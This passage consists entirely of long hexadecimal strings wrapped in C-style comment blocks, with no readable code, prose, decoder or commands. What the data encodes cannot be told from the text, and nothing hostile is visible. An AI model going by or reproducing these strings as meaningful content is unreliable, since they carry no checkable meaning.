c8cb9f65b28d20610bcb9c1ecd37bc43df258adaf90fb5aec6c7aa0f00e34ccee83e05a45129aa01379b8428f0ef3bea34a37b948c9aa536d3ea61964abdae31a54f942bc7b81bb6a4e8bbc3abcd67c0b76e2d6e94cd7e17699fdef78de213afacb6cca1d4b781392bc2c39f686f75b4616aa802b5785cf20fce37b708f4cdbcb4a41e9477e54114c947e7e3f41f6d4e3b42aa74717b16d08d93e23361f2412bb94e151e1b125fc68b5be7e8f5bf2be59b8784f77acafeefc989ffc8bfa7ecdcbad474a62b813b17b7c1210bdca7cd54af9e55a40d9bbe7a47035410d844ff202e78218c1d72a958b36e17c6770f52486b536e401cc3e20ff74d970c1c953d697d8b61060bf8fa083b9a48989f502b1706f5365876c28a28d8c16414fdc8c3fc580e004cbd39c52fb9a6b6ecede8d870b803bb3e6d59647c7e21d04e34c48ac7b217f63b4bcfad2af4002a250c3cd4198df99db1e66d8dd5ff9886b069e568793c25b06ec39f10bf9345287eee06db6c09ab97455f5bbef952aedb3d33291151aedd719ca71c3d67fb4aa105b9f4fd342253f969ee00833f1ad52570042cd8a8de0b0c5ace43335ef4312cfa17f1f27c7ba6dc81ce762809f5eadc5855e9eceaf282f0aedbf4d36918de2482695cc1df360ec88f0638bd3a0d2d39f7f5b1822c57028a7992f59186d84e20aee40f9b90bb89729459891e0938596933f2806f6c0275d8759f73f67f554fb9702b2eee72fc88a8e6f40d2aeff89af68034947040e7cab5b3965150918d2cec4431695dd05eacea8cc5f8a5ee350c7abe2933fa1d2b756e8d4fae671732901c6b7b1f0f0f89d153acb07d2bf87cdb5bf7cc977dc7591464e0fbafd662cf6e9e2aaaa6097b10210817f28a8df8c570ba4ee7ed76f7f1370d59b09ee6170e73e2e19af618e3310fb71903d40919c4d3276fa227b9365ac40b89d1a68088a8b115450554869ae5ee7c9aa91703df176a17d8ca33024a72d25d1f855ec0034bebdf74df81b6d503ff5226bdad7ce63dba12551d1bfe1cda20d3131b6e5e7569b498f74e36b3d437011086cdf76b667bce08de803b04cf5632b18d8f212a8e9ecbf6e328ae42f4435e7641ee7097cfd8acccfeac1e8ecfd140e3d882832c0bd34599702480009c9241158fac8fe85475c57b1dcca098d5b15866313c04f70e175ff6c1ab0e9167ba6104d6669038d0a09709f678e88350961554afada406a002ebd19b90de803d393e1b524220b435abf04374c18dd0f2dfff992e1*/
/*f5fb8967bbd2083f7738cefaebb05cf1c8a221a2095365c0f38c86c9e11eee66221eede2e1eb4881884e758b6c579cb6cb053282cbb64df4dbfe79daddc321b39166b22441fe49b33963e6a3054a6daad8a0863018dbd9e3478105dc90ebf04bc158c90e27cd415465b826326a850312e605e3a5af74fa04bc8a88fcc503dbae02c65671887b6aeab4d6bffdd4982f7af56b961ff9f4055576f79c40de12f70870d7ed048993b946e70c2c24167c0c412f6f1e9132eb71a85859e9593948b7e24b88d36d91c8146f2c549aa3dc203eefc7851f4981d7544a501fe716569f0a07b011142a44e42733c3455d2d5150b0f516295f4e6ee6bef496cfd357ad4edb306d185abdfaf02b23eacfee9ceac2ed5400e5cb942fdd8b638412c9f78fc399d63edaa51f0ea3a7d90264b1043cc40b0acaca7faa64f0f5599519de19b76526039a54915450be1741fd94d41efc4f29598aab77aa96298b7b4147af4285767a72dd7f00267478210d09ef019fd44d33b8f7d293a441307313799bd77d23930a948a3502745d8cda189e91a32bdf0d77126e6738df342984638f588d668be2d8dde6be6fb9aa0be80c07d88e64cd3f05de88005f264e48bd514e96bd8187a21bca4699780539b21b45fa30b4cf32ecf61b0cdc952419c8af63f0f1a21d09ed914468821aee34aae1f8d4d33efd6cecb3f24d3e995d08845e49fdb0d3159c27efdf915d40c5b99a4bd8226768683d0b8bffd6cdf69eb56341ca201dae8a710ca32aed5e3cfa7e78f0b1d4159d62daa4e0ab082e7da8aa6ebd12654961385f5e0dcfee996e30b0b11c56d43703055d7319cfb654f7182dcb5ec751771b6406e9f83065509440741947cbc3769558e1ea106d7072257d80b4bf66e4b5f5b2bd63ff49588b9a4d75a6bfead1a44636bbfde3dbf8ace1ca80964d9e53a816f2a745217182c82bb5bc2d147ee23f9e280d2ef7618ff8af2dedb19c976d889c90089ad8a796f1eee3447da7c1d8a1113bff116eab95ca09fdd9c21b7fef9ff8c9dbb75677f0d1602674ef78ef18b51df02b4b8a5f2d7b0e74f72976411a636f01ea12669c2e4a425da44353b829459836cc062923d8931dceb69ac5899a3f55caac8644261dbb14970d84929b585d303bd2dae1ae8fdcebe523432e00d3217695b69daa5c543845dd8ce58c70430e59a22abab066c5fc26be1e0fc989266d0585c5b4b5ef3f719583651eb1157ae68f64d92876886da964c4d21e0464e26fb2d64c215fd9295bd48b47730edffc360993d9abe08c1b593f9aa34db611d062417232604be6767c764e24e925be0a27711bdbeb908f82fa94f435eab6c8753c1c0a487c803c4904bb3a40451e772918711f690b0e6f84eac01a426c65a0fee5cd30d306880fdc5e910a1ff4bfa6f92fefb9a476a1fa256481178d2444d812c8e327f61fca0780b77faef9ba43cc31fe9cd623f3342a7d5ba4c318fd8d661d54c7ec459b5dc0295b2b0c605136f7f1783728c345a2226882360567c7feca800ec609aa172bd38a9bb6e722e67c0c0812ca35ae071328d0a13b2f910139cc979fa5722a4861305aa9b9c43e742347129d9aba088efa861aa55538bcd8c5b342146b0652dc6d229c5dd4ffa0080fe7286104591ef424d0de1321f3888fba46a013befeb3faad40b1c8fda629d83fbdbeac76982426b3e447a0efb56d136ce7f6cbc1cf48b6d2e35a0582222c18d77475b00d121eef263e56369e85445b68467bddd2d187ac2e0f3ed61c2f742b8e3edc0df456767c9bbce05f9aace60065b9f3f2496472790a13775d55276eb5e4c477e820f958693a653e94a3898189389460b5177816d9ec44d58acf209fac8df8f109dd68c49a17d7d5702ff15c3a6c14c3123f09b3980d289f6ed871db12138e1f726968e239fb208520c851595edfb5a22cc3149bb5b17490bdd70248f05f5ef2236bd5b41758ee499a87369c54e243321eb4ea78ab2302c617afa5bc830170f9d940d2b5f32c0e0800562c7239cd5c34caf453dec73a8cf272897983991a27e63a875cf28d5609a202679c718a6ffea5d17436f7916d56175786681f0d0fa8b8dd84cbe05d56e9c0ba90d1f98ff46c5525f28e69744b7c74afe4aa8860e9f835787eaabab87f4ded768a3544ac1a41a16c677aaae99508ba8c30f34f0792a20cfb322b96d4257c18d6aeebc66a186624bb00e46e0403078d096168ed4d40a4eed2033b712589068807ab1aec11b7a71cee12fce5e85d2f78d37e94e967beaf38ca63f967950e02d36fbc1c564860a6f6d33579957f055ed5e8f5e6edbaa79d9d054e3935dca93b813ae8aada857fef7f30cfb07fcc84defd0109bcf26eeb5b9946ade37b3fb50e77c1329856eb465a12a8d24b6f54d45600d051750a8b1bb455488109da007047d00336831c72d64edb491d50dfac6a7fb67c05856422e56fe6e1adb6eabfb615788da8496bc5f2a547028bbe63d32076200b3c14369a6f24cadafcc7cddff7d2c8d98c7c2f2d427a5b13580afb3ae9322159b88ba1c3e6f9ae364849b668ea048d417bbe48ee90ed10372d0a739471cbecae25fb450493cf002f4f2fa7eb5b4f25c27c6c14749a801f8b75578ea1b832975b4162a72f784b2bf0d329535219bb1add08ab909a0f48bc7e5333ea46d6891a5d7cdd1ea8bb8bfab7f2da4dfabe6a6962889053dcfe57a9285c524838927dbd831afd1dc62c66f1b66fca0f13fac023247246a1f8912866e50f98aa66329320c3532606d43edca5c5121bce9f8e08da5bcc165de024506e77ce1aeedc7476760bfb198197cf0265879d489f2d4d46*/
/*e3995b723d925822100b45350f594fd365fef76e3a9291e17cf3709106accc169d510edaa09abfcd0d7d5c37493edbc3833e305639261003b7d39e3ca85ea36188612402ea48e909462ee02a2d58592f2caf0b1a74556513179848ff5a8704e05f8691814856b70a881f4b6664f2602cbc0e78cc6b1aa2a9f82a6e9a2a1e68cb632f9073365f1c3aa65c9e1d28a9c430bb8de2aad75566b5db19c15d9fa36bfc8bd06c11a0da9fd2c2d763e5ffc964e4259afc4c566ebe8d8bdeaf907b5f8c8ba5d5ec75129b66e911c16fda63dc13793844a6d8f19aaee26a8cbc00f9a195c7a61af3bfe18e69dcdf8491d87b196e1dde45324940331a141f60428fb7d72be9e84797945022380b17232d69c3a76c4d3153a2022435f1c65515a247771bc941db5f81826da8ca7885c7a94376ca16449c49232fb65d346e5a8eac13cadc38ead436cc7b4e2b2a0a89142b2eb1249c7d07db89c938ae3b5756d4a101e57e68474cebf7120979f66d842e0d42be60067a9be257fe9d008c5ee74909bb8eb4f7472193201cc25f695b00b8337190ca0e0943574292d27798e5e819ed26986cd3f52a73c25265b8a7bf57a2b43f47a96fc92dbde46349f5e42157afbbefb5622dab7d322a831de1a64b4f5568330a9772c7f4ee219d1627fc1c60bcf2fb3063749e4cbd2d06e21d92d512de17f9f30e2c8f7edb658371a953bd4e28206408a96f104ee8b821950381904852f4adb197a2a7d75e8a6cef27a6e483dcf27db996f04e53db0eef50101e2b59576438bcb19d1265c0e8b48d7df95e0f4496db0546130eff7c38177e5996b926364ac321ccb941d07ea3ed4a195acd9e8f5cb502942b9a92436ac0e53b44244ca6957b3d916402648300e903ba53526e9dc48e9ce305ad8869efba19cd3a95230dfe56ee5ad270e6430f8beddde197fb4fa5c29e2042b3481335c32580309860b0d3337a8fcc45c87ebf5824604b1cb7ef9da67342506451a5e08834ca423614b746ea576ded8a5c0485f92ef48b43b4903a43c9e8443faa8bbc1c4edb191083559d6e83f377097c40b43d7cf809db1f1765deb8cbb5a617dc2c0c0556a7595650a53d945d1cb1d04681017011989da26dcc8db03b90c02d1abb1d9b69a0ca2f5fbd1325458d70f1e6d2d3e0763cdabb4f11f7291a487bca34f7d6293b3b84d38978f523f3fd6ac6e6c192b0f8b341818c42bcfafa040a2fe497ef83b1320db35d64a0d0f6e837cebe7ad98f9794a8dd5fcc156cff01baa4c959ac65bf66169e5fceb9d329b04b9c814a44eff8de16d1c89548bff945020fd8b3937f4dab38ac94bf67f9287281b82ebb75f45ac32f21e83b457749ba4d8350ee16f6f6d51c4ce78be6e64089c466c3792fe0024ed752056b54feab61ba258c1620b6f6146c2f7e8a5be159f0b7ccdb503522307e0e0e2969ac0aec27260b1a66d88dd9778468ee67e0e4662f16e1d28607156f1356d60387ffcee5fe5bf89a290f98f105783a160fcf93e995e2939aafc5cb985e041c54b33fd5699adcf0a3f67ebdbc63cd6c1aa0255cc8d305840ac4f35e65a9b70da4463219a75751e15252ce997f63f0ebf3e4c8fb2690b6ad81b6fdc9e5fc12d2a583f9879eb3a355d5024c01476ed2b4565face46f5902cb712bd597670873873f6abd6fcc6fa9ce49706409331ccea55f04a25e3eb2e30a14d146e5bceb68397c9e626acc2a99e7523763f2f77d48beef6b3591cb2a1b4a1b45590e3d51c72b0b89b209b14ad8fcc6b7970702ba853a9aa26013e5bf9cc120ba0d66ca50d45160def1e3723ce57bcec1c9def2311fcfab032c48fb073f7542a191b2314b8467f262285a806b5f887aa56707f188b9f3adc1282ae58d9776b0648c9779158060d7d0e0a6d5eeebc3122091f9bca45b220877aea1c2fc99878e6df2383a53304fafc64d1d74f2f09e9a32fdbd577208d4080812121333f82b02fd64bfa6d413c4f9d77fd0c5e0380c4dfb175077c7b3c63f0efc6ef8f5ab45cf9c3a0974bef39a628a05323bfc6c53e70e41ae16c447e701c0a20392bc3f79af29cd798bc0a62b779fd18d1252e79b0027f7e6f869d87c213a637993b73077761c73eb77ee709e03c3f16ee9aae3a242cc69e30dcb5004c38f39d9566565faae6cb7dce16b73105860eb979ff87211996d119bbaa7d7be2faf2c9f733daf0f79d8859d5b6e947e75b8e86918b8f1fcbd01607b424e3598b96eaca4fa0698b170ba890cd25c729072c1639b70bfd81845348990c2be2c6e83a94edd67f30f94162efe6a442949e8f03f59d3cc4863bf3a862e71236eabf47e8512f40c80a0bd13d28d6824fee518eb6d7f02e36a0badbc9779261fbe819cea66e0fe9f3bde574070c904afda4d9ba585706030c3b3961dd4eacf62508374d6421b856d016f33219372fa646f880f5ade9726ec6c96db5e9c4a099fd90e49b8b772e3ecf0e1a2ab7e35fba60df7896c87b30cc2d807fb792ccad01073e05b9a6706e96a0ec8f3728d4288d1ceca7e3f22bb98ab6ff6a02eb3ea21f040e5cd4664f31366af3dbbcea27f13d425b4f38a13db02ddf1efb8b21f5db9c85717d0af5f1b80cf134b5b79a44362577bc1fedfea10aba6cfddf0a9081a1a340c4295d16ca325eba151b356be2ccc92432c4c135f58cc9cf5f977a2db8e4eb22c4cc0835814ed3c05ee1b42bc3a7b6a1e6ebdbbb903ae55bd9050ecde4ba5da01fa11cbc0b62bfdca5df515d597fe0ba97c340bd24d0af4104257e624c3945733be5eee8310b999665682f2565f359f40b60270a052b6300c689cc5b8b998f3f0f8cb4165fd38898c14*/
/*be6a33cfbb9eaa7268c8bbd4f5ceef78b3d5dae50c00691b66121de3f3b40a2675f54e1c966d5d6d7446aa026db8bb48ad9e64137fcf60397bc8cb6fcb0e8470804e664f9046b5240bf1f3ea3d5882c6c4d462272eb28b476cb307b0f6105ac32c077053d92272f6e8cb33e5f08a58b6cf7bab19e7215dc0f661611c4ac9d12178873336d8803c5cb062565c427f77ea133c6ee51faa84e5b239fcce38b405f1823bc916aa9d4d8dbf20e6c78defc83e7813b28c7ece3eebdb6020ef06750cefba17d17fc228ec176c43e94beaa97248d22d801142319c50d149a83b7beb7932b97a9e38a41a8d7c799c17e5efbbd73405548f4b311ff5cd5dc1c4c54e9da65af25ddcf742e36ee6bf787c63f5395a4d58724dc7dbe02323d66b3786fbc68691b214da38aa417266590c33215f1be0ca9f168ac55d1bd25e6d0dc716519add613b61207e277a8f20612bf77f5766af44b1ce34deb3960b42491c7f3b731ed98678d331e5579d7feb7b62c8cb351899c30610ec1f88de132528f4a8f65e09ccbcbfa0878d439c282ad27eb279857f53c360085eda9e6bdd4b6966d9dd5322d8a87bb552699ba46fe8facca0ab7c62852f0130facf4c3b3f13a8bf8c4383e718dc587dcd2ad1b59e9804b016bbc71db10097b460af23e80c390a3552e3c8c3097584ab167b344ee4a2feddb2bd626276c7b45693fc2bdb64833a1bc92e3d19e5652ef669fac1c786ca88cbd5d4e54aaaff738880540f202de3997364aad062102f6ea9778900bbc9fd3a886227785e9b78b177b3e4c24f043e8e7b0f37f1f9d20c70bcddfe998775f53fc48ad629c3c6f4a00c7a942059d06981c8d7d1d2047b0e3a4163dc2df7da03b2a1ae3f9f340f732a1a39011c899eda56a4e235b79b67e8713fbdcc8a4dbf095a3a5d792f7bf70a36001a77b2749cf2cb73e6859a96dda724e8842824116a820500a9e1bd99808054050f13dd4b03dab292a70793d2585bb56a78bb10f51a95fc053c9e12f29462d55224d7a0be0c388c70aaa1e7a5532e202652aa65f79a5ae970fcd2726177f6e1a69fe141bf80acd88e3eeb08f17c521c317ef3e458858ae1d9f29973a0b854201921faba2aa17b82dba48c6b1db95d7525c2ebd927b1633cca90417110967344566fff8a66e172f3298354e950843e49d49952984c16a35d7a4c94855b126c0abeb81efacc1fc5a321839d6ad2ee7c8aa498ba0f674b48a3cf0823012985f0b0eaaa745e290862aeafaf1dd678c400730702c8c9fa4f81d42b5907d6408ce574375d46a07423032ccf67b8340672bb157e4236fe0cf02169e69a13a1b6103aaada947e34bf2812d6711b7fdb1dbfda556bdf238e76ca983a85c2033efbe69777ec1feac1653b5d42453d816df45d307021a19bf043b3f85d6514151bcc666d9b0b442eabc7a12cce314f5fd2380ba32d641d3898cec54b43d0a799590ac044f2c31143e9e3a1173c70579ef1a31119c07954018bd9c44271e717c869d9387cf0902934d7c7ee6ce0c9844a3afd89abee3e1b172fcd5c34d32d75d0ef5fca465f5b84d88d37e57da33d20b2c6adfac9250cf5b9cecc3e2e4105175eb92be498accfe123c1245b2fce7aa904353ed823cf40e1c0144636defc80897df94f7e4cfcb454585daf658449665aab037dd7c7a95f367213b647bed0f20f5dd766572626f3fa159390cc8134933cd9753ba1ff8ae2c3b4f446d5ebc5e0c2c96b4712825298f84b405ce301bc2fbe326f73db2b38d35e9f62a7472b3f96f6d185e35e9b2293bb123fabc3ef11e84cc28967d2052b3a3079b7d35674271705a5ab67ad51803529ecada11ab1555b958365cb4245ff631ae01254a26347ae82fee318f04ba5acdf5d5a2365820515614698a076254af39796e9b9997329fbc321ab14b82d98ee37903958bb93e3f2ffbd87882600fb57827ef6bbb7ff163f39e7198a34b6e72989e251bfd26ee5e774faecdbe96fabaa7ccd1cdf22caf62a805c08b826df102d1cdecb598f1f289a58b2e9a1740fb7fa6e6ad535942cd4be8e11670e7717cc274fa548c57b8f2ee97abcb81acd1f657eb5c4f834ccf7cf07c4e073d470245753134ee861c73df70cef18e599f5f783c0663b91ce1142816ae1fd1050e4c50dca392f29dd51759d7e484d5adfcb74c3b2b24a9c605f1acd948c87f9f45fe5abbfe89dd161c63e82c85ee0898753738a5ac739954bb0ee412af345c3c7119e1cdd81bfda42ff0b27ca1c78bec45fe5a5d5eeafac00567679c3c9d2c2508c02849ee971483c7aa19bcb0ca18f8d580110191d73baa971725a3bb59fed02ca71c87cd3f3c4a27c335b97073332c577c200024a6024b6ece8b1c177d7d5442dba27645b830f5edb9799719d527c17925b84e6de0e33f0b51b1dff32ff022b57f47d950d5085b5a91efb699b0b70d4a9958107c34a31564cd622928880fb1c42bacfbea4e38c0980c6a8260560be7f4af6f79f1c3ddae63062e144b48715a5aa403bd301f46748b9f6268309102f8ba0cd5000ba96b7ac2d63dacb2b12f8fa0a201c74c870d40e93cf0d13262b4cb952ae58fdfd92101c380eadd796a3382392520d107bbcf994243252001262bf60f8cc5542e033004be5f73886f913a2350ba2a20cc0b01545201c8f2de8c4c73457004ca9a67481404a124dd8a610fe612ece4b860c7ae04389571d39778283395463b7d0d6d9762249876999503324821fe49cd1be8b5c1f32e82837b3ca5ac80606567916fbcfc299f320cd1258ec4c949cca53b28394b2843e6fca7cde271222877d0df2a6f8ad71ed10d2a4b8d76f2253*/
/*2df7a20f02c3debcd26561b13561a874450e54eaaabb85e61da1e7cd9683642fc52804668e12a786c703a11a861e36c584a24f9b28d8c52198aa08789601c49ad1363417ff042d1e7e73bb46633c05d6803065519e308ee8024931088b0babf46a4923815db2426f5df6a6c8ce90cd05d95910eadd9346f80eb32d644957f3868d77f4362b97a2d71c74f5ab1a04c7c1657b842d48fd489d15e5c283b832796e7a37e19059658559ce88fb38bead3a1741147b94e8dd0911f6c2f44a490d75ea29b30ef104beb773e2644668d7ff04aa07761ec7f2e7656308a158c1cf303480beeb90bfc57d6a7ae59770cc1f6704ed17c6335120c726f01e2ea3c0c54dfd864b3c19c27ce40947d09989a661bad6442e777b68d56678b0a948796f0e6cfb0101768aa433a82b9577133f372e2500d681904018efae213d3c9b163a7ab428a25d67cee6c575bf49b2564065ed6facfe22593c1a6e02fefb5ee0071b3d1101648fcb8e6cada17d4cbef6a40d7cfd817787f06a04b7537270aee91931c97cd900001c1ff11d9f979bc015a987666f7f5d6aa5fe27b4499d427896814a87434f17c3c8d12444766b01171672cebac77b0a30d06f9bb6205aee64220a43eea3d29348d11626ddadd0fbfaa99dcc8162ea3db522d11fb913d889d059ef07ef266296b9951b18614de26a5857b5a53e53b7cadaf405171a3f7723008688b5f398407f32856a06d4354a4537bbc19dbb2b181fbdc969abad025e1d7edd5409cc543b731c98277d540dddc3ac4f5e22965d35b5f8e04c4c3721036b68eac3d8b48e5fa6f370cd5d2db9057aa616f7ec74728d85008083f786ae651434ec933970684a0813cd458af104882d1d60a5d7db053473a1007910f896c82d35f3901c7f44d87f087198179525b3968566b4d3aff132413fea41f952ca6c9b4292bee2907d4725f5e0bab4d0a5cead29f9396bab10c9667d828b8617ceffb291d0b68360d67c733f2a238bc63809f96fcc4738e156ca23029e9ad36bc80e5db12fa592cad7a90b7f09fbb71debb6770bb433f8462a44d4c1a62c2c99b89af8a903564488792828ee866d2b67694647f9575b560562eadc4280984b41d7eb5d012a1a1f90b6adaa84cef63d69e33dc450cb78f30ea79160e4f3193bc041b6148720ccb78831c4a9a1fbdda1ee8ca43839a989108a8a268bd59ab8c8cf77989e600127d6b787bd7f73d8b40afa0faaec8aaf49cc675b62793053441467e359a15945cf2283efb853051bfa3e1d43cb747110724dff57f44d1495df132aaf756f05583bfd71c54044f6ca1b1471eb47889e072959ee0e8aa33139f6bc1c8b234c948d31cf363db579f81161fe9d5035291a40984156004d58b1bf04535097e1593f19f6a08525b7ee3e1a618141197c8fadbe80dfd273abc209d55655f0514c43d872afda2e3ab4b0e227a0474733915bb2adc2609b67772d1992d9db9a62558f0e4b549a9d4bfc9b25248528ad8fdeb0a809926b3eb5ac12fd0bb92c7631d1e28c8ded6f715bf14bc77dc6a10dbaf98a98d458e4a4d6eca4d8b6fb2d86b59df16fe48be3a97d2b938bd27eadd718cc1ebc645c57ae94ccc95e9e0522e495cfb5166b6c6b03e99d63c3a0e6f010b2f50924be39ebbf64063fd81237d45d1cacbe244d9156302b77b0033d3b840988c005305557c4278bf0cf17ed92330e36627f68dd7c9406ffefb3ebc197ae775dc26fcfb1352021d933184bba7cea6ba70811f62708b589ff87c2f66529693f2b6b9c02b28caf1519974d0e12ed2a4389d9eb2588173c1408378d45ffb46ba96f4755dd9a9e9ee737425dbe5f949f95c6bf9b969789d4566bfa30779dd9daf702da298bd5c08f01760fbd54ab7f5d59f6a411d95cf39531e6e69ddf1c9d75535aa37c980ac63b638dc61057dcc3944e22598387b4198bad27a3f560cc4983a4ee26c578880143d42b8c60494b5a89462cdd68c96baff42ac7157eff0d8a79c1d81321c6186c6ad08b55bbd32711c3eec02fa3a9d916f24724b6332d3458cb901a92dee1e27fb0dc333996ad41e63f61ce5657c74bd1d550d6ebd887f61234fa4c1a400d429866c24d013a235f32b7e436699af5e4c3981c3fab03e2a7537a8488ad192056b44a41c5a5b92f8e5730a77090bd6d9de0162dc955680504017d16b4e92b46faf0b8b129b8c55188ad40bea686617e7d06025edc5e8bafdfdc96a3639825c6de35fa68d2fd5a646e988ed71c7969c608dc230e22e1b35b112a83c251e542febe92eae466cbc4d0376c3d2f276e2f1974bff84dc518ce390fac3e1e23a978824f6b325cd158956c047ffc8a654e37578ee63ce6b700050635095fe9d5bc46024214ca2dafe38ad205c56825b46c1d256c27b6ab5b02b57326b053c192733e3229bd1502478f1e4641422d13f8214de08912d5ab1b8fc13fea5b8343ac8e77982df9c853b721fc32818910806e488c5240bcedf2e1eeb321c3f48e9b898fd46b35a102a8a3dbba341988af8a2c48079ce52039e1127f73d38da23ca745da20a12b4c9f14a875e482fa53efbedf10741b81f9d03f7ac819bdf33d299a1998957564e2ce02a31e36c3089007181554af3842d50370b066331fa6261126c6ece4afa70c91bc67eaf8052a1c763334db915dfe1c257870865f14c230cd63917aa4adae3bc0005867bd809fc392071088219c8529e1a269c510967bbdd2241d13606f8866726ce404784efcaf24c29e6cd5f912a4da789a38886d8f712df21f2e127cd9a01e5aa18f825344cb97c7f00ea755a73f7d0c4fed7a758eac0a76ae712e2db1195ad25dc831*/
/*aa1223b8ce0390c38f6d2b47d4c5313590b8236c4ec2553a416caeb89931af7cec25019fc03b6c7a6a8e4a4efd2b44cdd020221750e80c71dfc745528773e707ae039e67b9112b2558d3d3e3748ed3fbb1a48579df1655068bf7265bfb7b01e086a1516ad78a2910366fa78809f545863bf8d8bef03396258a876fd92de50b08414054ce1d7d57c28f70a8d6f798ab893eea064c33d67d324c0208419bf4482355d29f5e18ffb4189ae4af245babeae0699de1edc73c5c1143a5349d49d463fa7956a53212ce52ab8c9b30c33c17e450c1b552bfc780aab55e0f33a105f8251582f2dca621f272c60510f6672885a3937eecc0cdd787fd5cd40f0f7eae67e8b98145e4907ce3596a0f14a9624d26c01b7fe8ec87f0c7aa0d349b2552c0034b5b5ffac29fc7c15c6eba36f2e36c7ad492ae87bd2e1d23dc0de74ca5b63fd5d47d8a8c60e044d19aa9ce6179010e60c875655cb47679b461873d96b2b7e8106f1b46f9f93c01069713150b83865170b2e78c6eed1586642ba0a088d59de116abd0c1abefd9b2c4465dba26fa936c922574cbb1580c8694c6725931341d48dabb744938fcb87c532fcffe548ffe87693adb21bbba880fa098bef45d589bedd9d73ed3ad145df507c9b85a87a340d013501374829de809b170471c85fe040bd742b5846407cdfe5ece2a06c76bb301ec653e9a6c2a25f6d3ffa93855daf6d8ee70ec17a84c4a7c4fbdbf35f8b3b76ef8c97cbab691a56c44fce7d175c475b4071a3a8a5e3e126900014e7307070b24445710810483eeafdeac88cd2ff9d781a316cbb534d1008cf0e4fecff4135f175ed02549ae2ba96c787ca8a0f9b318342bbd97f64385d1c0a962fe5a3cc2a7b6eff6b6ba68d09176d6822495b1a06143eff5664b4e28e4077a37e679186cff63d684a579713acd6f82d990287e8e04a94f5a29486b28047d70ba6605585dd9e7a6069fcc00cf463474ee5da0d3d630d4a1679c0c36a85cdce215f0177a70e02559935e7681abc2ac07346f0d53cfe47b2bbe6b4959f74d6ca939f7339c3a5d80d2c7bc2f59f6e1a6bea72a895a9a2895f2c93646ecce88929874379952026973ca5624d6cdb96ad1fb1b506b03c3e3f0e01875aac548711dd3c0ffa48be4f4dd5c8f9e6e6e6bba16e607b7e4b62389eefd9d29d5f58d89ff055eab247133e69e7884098bf034e4ad5472b348a9e03c4b194b17076290c41566294e1efc0c844bd3c3791fc7e0e7e96916116c6b717a9edd5a26d6cdbb5801c77680d63a3f41d65ab59034a031cc1045596b3ca50f7638f045ee573fd5d486cdc2e02bb69b6e57e4783e34126a3c3acd60c534ada3abb3e78831e55867f70c8d0e0b3c62eee29cda4abd0b017c589efa46d77f2594068e9330ad6bcc13fb2b9c9ba3df8c27d6ba523f5c9b543b3b57cab930e1ae09632483bc33d4640ecc61e5e4bae8e6cc0214a3e551100140b53556835a09e4676c694bf6b5e4d0cf8b6258a58b4882607de57d8cc7962068f9ee9841f4518b549cd0366f906eeb76a71b0f906e6231bd3f21d6e4d927723c1dd65f32f388939b3f58343179266582b8347522a9a6c2bb29db3aaeaf0820d275d7be60f83ee26e8c26740da55d41a649f7e2e117d9adfd1c921e6fe76f2275c1e18d850ac2713d04b89fa324333166e35c2a143c0748901988a60b1f01b2fdcb93f46b086b60cc4d0e2d2f9c5045c6ba06aef555dee4f06f7480fd03afa1cc33a3e94d1c7097af0f79381874dd787da707ebf94ba9a41f6cac5bb7ceceef068cf2f710eec35bbc1b1b8c39434d419ee5f55c0727a7c486fffc8c7bc62ce10ad13126990903f2e249680509f6ccebb632c829c51d67dfb5b945e6b55f63edd8899ce80498964f0b481de8c21fef2e148bb5168fd383bc3ef8fb742edd287582c180c41a69c4c6279f842ba4017b27371950543580c85f733e6bfc51acdf5995e688180264b68364e2feb65998e545c12292dcf6406ecd741b9b8772ba97d17c816e4787fc581f4bc1b40467da213a5736cf8ecf93f95079846d664038604142acc4666cddbff4c397cf2fc8a1e4cc5e0333622eb83028cb9bcbe7ba79aa1e3fdfbf1cd1edefbeae8678a5a3596894bc8a35c740161289f4b803c0ebe3201b2bacabc5fa0a1a7bc5022e05a04ef70f13c10c7dfd9b6100145fe7c824aacc5cc1c8905831d42ddb0de3b25dc540994c1d82a0624d33dada8a14c1bf2cdfaa50a7d0e27f33702938163455e765823e36c6a3230b5b4be6c059f65a00246ac1c1884e538ba1a58adfd3e05c0165b4b39b5510e9bf407f0cc82949f4ee4da2d025d90d64299c8027f855f5e22e720345c509948cddf3df4dfcd4c5699653424df2466528cc81dcdb7f9dac8c1ec787e603884063c5d05f8951e8b050336c37972fdd29fab125d96529a89f661698edd092e35db809722ab58af99d326e042a3092e6e4d8d37e8784298e939919536e89df5df4ae41460dc372bf0676e9b7347c5a035fce4295661c1cf8e25cd4382faa8db6c575104f1702e6590250242e540a78abd461dd0ab6af2872f399354bf1450078bafe0225c9e32b0df233dcf419bb0a5a6b2b0283b7c77722a75e4ab8e8df36c649a8fe2ed5fe855b9aa16ca8b21f292dc567500183ff499755ec10ef2101ee9d5f6db1b478f589d7886c5c716b980a11991d04fdfea402c93ccca867f8c17d5f8f211cf756efc76f192cb6a290d5b1121b3e4cac955ba41c55e32d986ad4594c47b90083692e775eccdc05f2b35a89310b712ea77833cfbaae22fe3ab193c7c74dd8c5559757e6808e3bc0ee17*/
/*17c91e9d3e97d7affa6da7f4384416c3134d92e190d8c563ffd063b8f89dfbfdf604873c03215d0456bf289179ad1450ea7fdb0d5ce1aa940482dd1fe1e51bbd9d680f884780b0aa1d9efbfba3a0a237d24a05fe61815f014b76a2a314e2bc5031ad7511d9b7146a84e458834bccfb06079c5ceb2bf7d22a4785079ddad7e90e8ea8f7de1aa1b92718c03688e75a74a9c552dbb628be831baabe15771acfa59862f9f68c0b95cc7830eac40189a1a129498f48384ad738d9f5a744d2fed0adc9c63cb9722208143d51a34dc595ee834c22b1c05a69abd54e07b929765c42b129fc35d58cd6ea73b213d1587033ad0c4d1f3b481d647b96cf101bc0c4f9fa9ad82d82c8acf9d6ecb132fda373d72469b52a53e83995d66530eba6b5d21dcb15638d9a13d9cadf26d22ded8244bc656ccaa79ebb8e34b7b71540de9c9674410b7021e9772e0d044235fe7267514f87305c31c94bd1a33a68659582548bf882801531e01ec737fbb334592bffd90ac5f4b68f6f7ee43ce05a3c7186bd9649a60e7e836588f965e4d706c1107e4d879729f38e7007c5a5b9b2f82043f3ffea9413b7f50589d9a696645ef8290b086673c8f4e98854c5f1d55ee60fa8ff2fc741a2231cf8d2ac535772a349fa5a3552b62830d57263e4c60fe30d8d6af92ac7fbe1ad82f8f9aa57b654767fa33687226e8520af39e9ff300ca64d875280082e70333f8c71d3198db7b1a389eca2aa6b6e52f2fb9947fdd283fdd291e001ec7e298c307406d46a23f68391f3634dfcfa26dd0afde34d0c158d5560d0c30e5ba2c95984ccf25ad89eda537348b49dbec0d37a3660ce8165f887bd75bf749baf611647fd3edc4f47324220f3c9b36300730246a8b0768f8c3f4c4c912ff96b6365883b1eda95a69c7